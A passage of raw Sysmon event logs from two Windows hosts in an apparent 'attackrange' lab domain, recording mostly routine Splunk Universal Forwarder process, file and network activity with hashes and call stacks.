Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.432{7BD73061-7035-613B-040B-00000000F001}3832C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000046801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.543{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59345-false10.0.1.12-8000- 23542300x800000000000000046800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.243{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=56F0B3F539AC80560BDF4E96BADF684F,SHA256=C8C07E36142E0C437453F46CB679ED9CCB391F9D6EB72379539F7BBA651E5470,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.149{7BD73061-7034-613B-030B-00000000F001}39445536C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000046798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.559{00000000-0000-0000-0000-000000000000}6240<unknown process>-tcptruefalse10.0.1.14win-dc-387.attackrange.local59344-false172.67.136.69-443https 23542300x800000000000000046823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.838{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6495C709E4A629F01D12EED432AD00DA,SHA256=B1654FD2C0FE11706B3A62EB3B2CC844ADEF5C0A788F5B23BCEC88B2FFA0AC8C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014534Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:22.334{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ACEFBEB68E799BFBFF3203482B093E4B,SHA256=FF2C5C75C3AA3EB04DBB6EB155D0B9276C4CBFF397EE7014B9169B69031574DE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.603{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7036-613B-050B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.603{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.603{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.588{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.588{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.588{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7036-613B-050B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.588{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7036-613B-050B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.322{7BD73061-7036-613B-050B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.462{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=012F997BDB2A439F8219910DC079C060,SHA256=24F3BC218F2AD1039165C5F7A3601448D8C53D82469092FD26121C3C4469E15D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.024{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=5D8C091D6D9554DBC521892ABF1C4554,SHA256=7FC56F37FD3FF1725F3BEE27261D102C3F5045F56D5434C70B7D0E14206DE9FF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:22.024{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=E415CB6B114DF7BC1C54F0FDCEA12F5E,SHA256=62D5AB80DFB6925E2C77F2A7F2B9E881B609A87AF2AF247D3839A12D089C80D5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:23.853{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE89FA92FAE312A40A194C605D152558,SHA256=1D9FB4E5A8088EED8640C872835EEE4AA7B80E823C3A9602887D23C5237C68BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014535Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:23.365{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E2402036E40703972F4FDC9D99B06033,SHA256=13415CDCDE18B7802ACD79E573FB592A14CED3716C5CB83E8E63EAAB52697DAE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:24.962{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CBA3053E69A366A5E694B3C38B4426F4,SHA256=8C958FE01797E62B9A4656B9181C6337A839CB7FDEF03EC6D02AADCBC33F5379,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014537Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:22.567{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50167-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014536Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:24.365{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5D59C3628FD38E85A94E9FB84408DB03,SHA256=EE325E96DD340E3F06A89891CF36601FF32E1D9DBD93CF4E3454E69357B46BA9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014538Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:25.459{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EA852B35E0C9294F3864304641B6819,SHA256=17E95EEE72DBCB084DF4DE472B70079C25E82DDA11C9917C50FC6A16EF0383A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014539Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:26.506{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F025E71BDB67479E4C56AC12155750A6,SHA256=0A7EB43538E061A8C3077A34E30BAFA0BAB9D72D41533DD55B0486BB939DF30D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:24.402{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59346-false10.0.1.12-8000- 23542300x800000000000000046826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:26.056{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0580BDB75F5D43834049BC121D658A65,SHA256=F6F40342696F3BB85F8F53CFB2D21C0A57D909502208CCFEE79AD4D0B1F8E182,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014540Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:27.522{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8985CE7CA72CCC9794AC65BB6EAB26A9,SHA256=BD14539FA0118ED3552E136EB3642C8638C16140DF0E7BF6CD2F645ECEBEC01B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:27.087{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C4D86F26F8B38EDEEEB9567257D9B4D,SHA256=B97D7F9F69E5F18B3FCCC3B8D66DBF48124DE325CD8ACCDEE2B1C69806FB55DE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014541Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:28.585{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EE593285B0263374B2B44EB8AB977C38,SHA256=986117B53402AC2B9F803301045C1460AC5D9C04591FE28BA8DFC43D2C4F60AD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:28.321{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=66D9CAA5B25533121EF88C60F777A630,SHA256=B7653CACA5C484D06ACCA867B8F53CD9880ABAD69F8849E893855F5B5FFBE224,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:29.587{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:29.337{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A915DA724F45E5660E05283463021B62,SHA256=E3B17757E191B90857BE63D242B410824A242E4102A45B208F9BF4A6ECEF62CD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014542Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:29.600{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3D9FBA9A57CFD87F94D977ED09D58916,SHA256=5238DD6EF7D0BCBF4F94C13BC6F7CDD8A50B0A74BD7E45F877A3565044D49DBE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014543Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:30.620{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=51007A307B35E534B254FE68B0FAE787,SHA256=BEF99C9DB9BA40AC3FD7CB1891CCC483C5A33246724B73601BCD3B457E952146,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:30.353{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=351FD53ABE1D4497BA77E30189A90D29,SHA256=4D37EAC30A5E18C5CC894A1ECD0568B28246419411B39FA1DBEC54A9524AD11A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014558Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-703F-613B-B004-00000000F101}3952C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014557Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014556Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014555Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014554Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 